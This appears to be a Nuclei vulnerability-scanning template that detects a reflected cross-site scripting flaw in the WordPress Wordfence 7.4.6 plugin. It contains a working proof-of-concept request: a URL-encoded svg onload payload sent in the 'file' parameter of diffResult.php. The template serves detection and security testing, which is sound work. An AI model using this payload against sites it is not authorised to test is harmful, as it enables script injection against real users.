id: wordpress-wordfence-xss info: name: WordPress Wordfence 7.4.6 - Cross0Site Scripting author: madrobot severity: medium description: WordPress Wordfence 7.4.6 is vulnerable to cross-site scripting. classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N cvss-score: 5.4 cwe-id: CWE-80 metadata: max-request: 2 tags: wordpress,wp-plugin,xss,wordfence flow: http(1) && http(2) http: - raw: - | GET /wp-content/plugins/wordfence/readme.txt HTTP/1.1 Host: {{Hostname}} matchers: - type: word internal: true words: - 'Wordfence Security - ' - method: GET path: - "{{BaseURL}}/wp-content/plugins/wordfence/lib/diffResult.php?file=%27%3E%22%3Csvg%2Fonload=confirm%28%27test%27%29%3E" matchers-condition: and matchers: - type: word words: - "'>\"" part: body - type: word words: - "text/html" part: header - type: status status: - 200 # digest: 4a0a00473045022100c28ea2c824726191c0aaf64357d000ec38525909a062cdd5f09ac8bbf21ed81c0220344b6455d4af739274ef8ef7d44e5a1c2d91ba1220331c01169ad4bd67dfe211:922c64590222798bb761d5b6d8e72950